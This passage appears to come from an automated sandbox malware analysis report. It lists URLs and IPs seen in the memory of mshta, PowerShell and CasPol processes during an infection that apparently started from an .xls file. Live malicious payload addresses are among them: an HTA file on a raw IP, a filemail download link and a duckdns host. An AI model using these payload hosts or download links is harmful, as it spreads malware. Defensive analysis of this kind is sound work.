                            http://172.232.175.166/809/ce/createdgoodthingsfor.htahttp://172.232.175.166/809/ce/createdgoodthingmshta.exe, 00000004.00000003.450022507.0000000002655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449704198.0000000002655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.494417895.00000000029C5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495670880.00000000029C5000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://b.scorecardresearch.com/beacon.jsbhv1B0F.tmp.30.drfalse
                              		high
                              http://172.232.175.166/809/ce/createdgoodthingsfor.htaPmshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              http://acdn.adnxs.com/ast/ast.jsbhv1B0F.tmp.30.drfalse
                                		high
                                http://www.imvu.comrCasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                  		high
                                  http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_bhv1B0F.tmp.30.drfalse
                                    		high
                                    http://172.232.175.166/809/ce/createdgoodthingsfor.htaUmshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://ocsp.entrust.net03mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1bhv1B0F.tmp.30.drfalse
                                        		high
                                        https://ljg.cl/DE7-mshta.exe, 0000000C.00000003.495976520.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://contoso.com/Licensepowershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://support.google.com/chrome/?p=plugin_flashCasPol.exe, 0000001E.00000002.560550328.000000000249A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000001E.00000002.560572848.000000000253A000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.pngbhv1B0F.tmp.30.drfalse
                                              		high
                                              http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.diginotar.nl/cps/pkioverheid0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9bhv1B0F.tmp.30.drfalse
                                                    		high
                                                    http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.htmlbhv1B0F.tmp.30.drfalse
                                                      		high
                                                      http://www.nirsoft.netCasPol.exe, 0000001E.00000002.558852159.0000000000253000.00000004.00000010.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://deff.nelreports.net/api/report?cat=msnbhv1B0F.tmp.30.drfalse
                                                          		high
                                                          https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.jsbhv1B0F.tmp.30.drfalse
                                                            		high
                                                            http://go.microspowershell.exe, 00000008.00000002.483727608.00000000029FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.comCasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                		high
                                                                https://ljg.cl/fWsm?&lynx=wicked&calm=uninterested&venezuelan=tall&alibi=victorious&postage=round&plmshta.exe, 0000000C.00000003.491496618.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.000000000032A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000366000.00000004.00000020.00020000.00000000.sdmp, Sipari#U015f_listesi.xls, AD430000.0.drfalse
                                                                • Avira URL Cloud: safe
                                                                		unknown
                                                                http://cache.btrll.com/default/Pix-1x1.gifbhv1B0F.tmp.30.drfalse
                                                                  		high
                                                                  http://pr-bh.ybp.yahoo.com/sync/msft/1614522055312108683bhv1B0F.tmp.30.drfalse
                                                                    		high
                                                                    https://www.google.comCasPol.exe, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                      		high
                                                                      http://geoplugin.net/json.gp/CCasPol.exe, 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://3012.filemail.compowershell.exe, 0000000E.00000002.539986200.0000000002161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.556649955.0000000002441000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        http://o.aolcdn.com/ads/adswrappermsni.jsbhv1B0F.tmp.30.drfalse
                                                                          		high
                                                                          http://cdn.taboola.com/libtrc/msn-home-network/loader.jsbhv1B0F.tmp.30.drfalse
                                                                            		high
                                                                            http://www.msn.com/?ocid=iehpbhv1B0F.tmp.30.drfalse
                                                                              		high
                                                                              http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tall&alibi=victorious&postage=round&plamshta.exe, 00000004.00000002.450550068.0000000000505000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000002FE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.0000000000350000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.0000000000350000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000350000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://contoso.com/powershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://nuget.org/nuget.exepowershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=1033bhv1B0F.tmp.30.drfalse
                                                                                    		high
                                                                                    http://static.chartbeat.com/js/chartbeat.jsbhv1B0F.tmp.30.drfalse
                                                                                      		high
                                                                                      http://www.msn.com/de-de/?ocid=iehpbhv1B0F.tmp.30.drfalse
                                                                                        		high
                                                                                        http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%bhv1B0F.tmp.30.drfalse
                                                                                          		high
                                                                                          https://login.yahoo.com/config/loginCasPol.exefalse
                                                                                            		high
                                                                                            http://www.nirsoft.net/CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://ljg.cl/mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.00000000003A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.00000000003A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://ocsp.entrust.net0Dmshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000008.00000002.483727608.0000000002301000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.539986200.0000000001F61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.0000000002311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.556649955.0000000002241000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%3bhv1B0F.tmp.30.drfalse
                                                                                                    		high
                                                                                                    http://go.crpowershell.exe, 00000008.00000002.487989896.000000001C3DD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://p.rfihub.com/cm?in=1&pub=345&userid=1614522055312108683bhv1B0F.tmp.30.drfalse
                                                                                                        		high
                                                                                                        http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(bhv1B0F.tmp.30.drfalse
                                                                                                          		high
                                                                                                          https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=9bhv1B0F.tmp.30.drfalse
                                                                                                            		high
                                                                                                            http://172.232.175.166/809/ce/createdgoodthingsfor.htasemshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_shbhv1B0F.tmp.30.drfalse
                                                                                                              		high
                                                                                                              http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.jsbhv1B0F.tmp.30.drfalse
                                                                                                                		high
                                                                                                                http://nuget.org/NuGet.exepowershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://www.ccleaner.com/go/app_cc_pro_trialkeybhv1B0F.tmp.30.drfalse
                                                                                                                    		high
                                                                                                                    http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tallmshta.exe, 0000000C.00000003.491496618.0000000000362000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    • Avira URL Cloud: safe
                                                                                                                    		unknown
                                                                                                                    http://172.232.175.166/809/ce/createdgoodthingsfor.htaC:mshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    • Avira URL Cloud: safe
                                                                                                                    		unknown
                                                                                                                    http://crl.entrust.net/server1.crl0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://www.imvu.com/CasPol.exe, 00000020.00000002.556122320.000000000034C000.00000004.00000010.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://contextual.media.net/8/nrrV73987.jsbhv1B0F.tmp.30.drfalse
                                                                                                                          		high
                                                                                                                          http://www.imvu.comCasPol.exe, CasPol.exe, 00000020.00000002.556638026.0000000000909000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://contoso.com/Iconpowershell.exe, 00000008.00000002.486059806.0000000012331000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://ljg.cl/PATmshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.0000000000565000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              • Avira URL Cloud: safe
                                                                                                                              		unknown
                                                                                                                              https://contextual.media.net/bhv1B0F.tmp.30.drfalse
                                                                                                                                		high
                                                                                                                                http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.jsbhv1B0F.tmp.30.drfalse
                                                                                                                                  		high
                                                                                                                                  https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2bhv1B0F.tmp.30.drfalse
                                                                                                                                    		high
                                                                                                                                    http://172.232.175.166/=Amshta.exe, 0000000C.00000002.496633593.00000000045DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    https://3012.filemail.com/api/file/get?filekey=OF0gFcxMQCUwPYleTyb2Yh9aBTpRl9_K_LOoTKArK4ipMrH8N0jibpowershell.exe, 00000017.00000002.556649955.0000000002441000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                    		unknown
                                                                                                                                    http://www.msn.com/bhv1B0F.tmp.30.drfalse
                                                                                                                                      		high
                                                                                                                                      https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:aubhv1B0F.tmp.30.drfalse
                                                                                                                                        		high
                                                                                                                                        http://crl.pkioverheid.nl/DomOvLatestCRL.crl0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		high
                                                                                                                                          http://172.232.175.166/809/creatpowershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                          		unknown
                                                                                                                                          http://172.232.175.166/809/ce/createdgoodthingsfor.hta...mshta.exe, 00000004.00000002.450550068.00000000004DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.000000000032A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                          		unknown
                                                                                                                                          https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549bhv1B0F.tmp.30.drfalse
                                                                                                                                            		high
                                                                                                                                            http://172.232.175.166/809/ce/createdgoodthingsfor.htazuelan=tallWmshta.exe, 00000004.00000003.447455517.0000000000511000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000053F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                            		unknown
                                                                                                                                            http://172.232.175.166/mshta.exe, 00000004.00000002.450643647.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.449865050.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002B1C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496633593.00000000045DE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                            		unknown
                                                                                                                                            https://ljg.cl/Kmshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                            		unknown
                                                                                                                                            http://cdn.at.atwola.com/_media/uac/msn.htmlbhv1B0F.tmp.30.drfalse
                                                                                                                                              		high
                                                                                                                                              https://www.google.com/accounts/serviceloginCasPol.exefalse
                                                                                                                                                		high
                                                                                                                                                http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFppowershell.exe, 00000008.00000002.483727608.0000000002504000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.502572880.00000000028E8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                		unknown
                                                                                                                                                http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fsetbhv1B0F.tmp.30.drfalse
                                                                                                                                                  		high
                                                                                                                                                  https://secure.comodo.com/CPS0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A6E9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.486845757.000000001A69F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496534969.00000000037DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.00000000038A1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.00000000038A1000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    		high
                                                                                                                                                    http://172.232.175.166/809/createdbestthignswihtentiretimegivenmebestforever.tIFfpowershell.exe, 00000008.00000002.487989896.000000001C250000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    • Avira URL Cloud: safe
                                                                                                                                                    		unknown
                                                                                                                                                    https://policies.yahoo.com/w3c/p3p.xmlbhv1B0F.tmp.30.drfalse
                                                                                                                                                      		high
                                                                                                                                                      http://crl.entrust.net/2048ca.crl0mshta.exe, 00000004.00000003.449865050.0000000002AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450643647.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.450198687.0000000002AF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.487989896.000000001C2DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.490518507.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495864195.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496583771.0000000003888000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495044881.0000000003888000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		high
                                                                                                                                                        http://172.232.175.166mshta.exe, 0000000C.00000002.496633593.00000000045A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                                        		unknown
                                                                                                                                                        http://www.msn.com/advertisement.ad.jsbhv1B0F.tmp.30.drfalse
                                                                                                                                                          		high
                                                                                                                                                          http://172.232.175.166/809/ce/createdgoodthingsfor.htaan=tall&alibi=victorious&mshta.exe, 00000004.00000003.450215715.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.450550068.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.447455517.000000000054D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.495976520.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.491496618.0000000000366000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.496316577.0000000000366000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          • Avira URL Cloud: safe
                                                                                                                                                          		unknown
                                                                                                                                                          http://www.ebuddy.comCasPol.exe, CasPol.exe, 00000020.00000002.556170457.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                                                                                            		high

                                                                                                                                                            World Map of Contacted IPs

                                                                                                                                                            • No. of IPs < 25%
                                                                                                                                                            • 25% < No. of IPs < 50%
                                                                                                                                                            • 50% < No. of IPs < 75%
                                                                                                                                                            • 75% < No. of IPs

                                                                                                                                                            Public IPs

                                                                                                                                                            IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                            172.232.175.166
                                                                                                                                                            		unknownUnited States
                                                                                                                                                            		20940AKAMAI-ASN1EUtrue
                                                                                                                                                            152.231.117.86
                                                                                                                                                            		ljg.clChile
                                                                                                                                                            		27651ENTELCHILESACLfalse
                                                                                                                                                            31.13.224.72
                                                                                                                                                            		newbeggin.duckdns.orgBulgaria
                                                                                                                                                            		48584SARNICA-ASBGtrue
                                                                                                                                                            178.237.33.50
                                                                                                                                                            		geoplugin.netNetherlands
                                                                                                                                                            		8455ATOM86-ASATOM86NLfalse
                                                                                                                                                            193.30.119.112
                                                                                                                                                            		ip.3012.filemail.comunknown
                                                                                                                                                            		680DFNVereinzurFoerderungeinesDeutschenForschungsnetzesetrue

                                                                                                                                                            General Information

                                                                                                                                                            Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                            Analysis ID:1564464
                                                                                                                                                            Start date and time:2024-11-28 10:59:57 +01:00
                                                                                                                                                            Joe Sandbox product:CloudBasic
                                                                                                                                                            Overall analysis duration:0h 9m 21s
                                                                                                                                                            Hypervisor based Inspection enabled:false
                                                                                                                                                            Report type:full
                                                                                                                                                            Cookbook file name:defaultwindowsofficecookbook.jbs
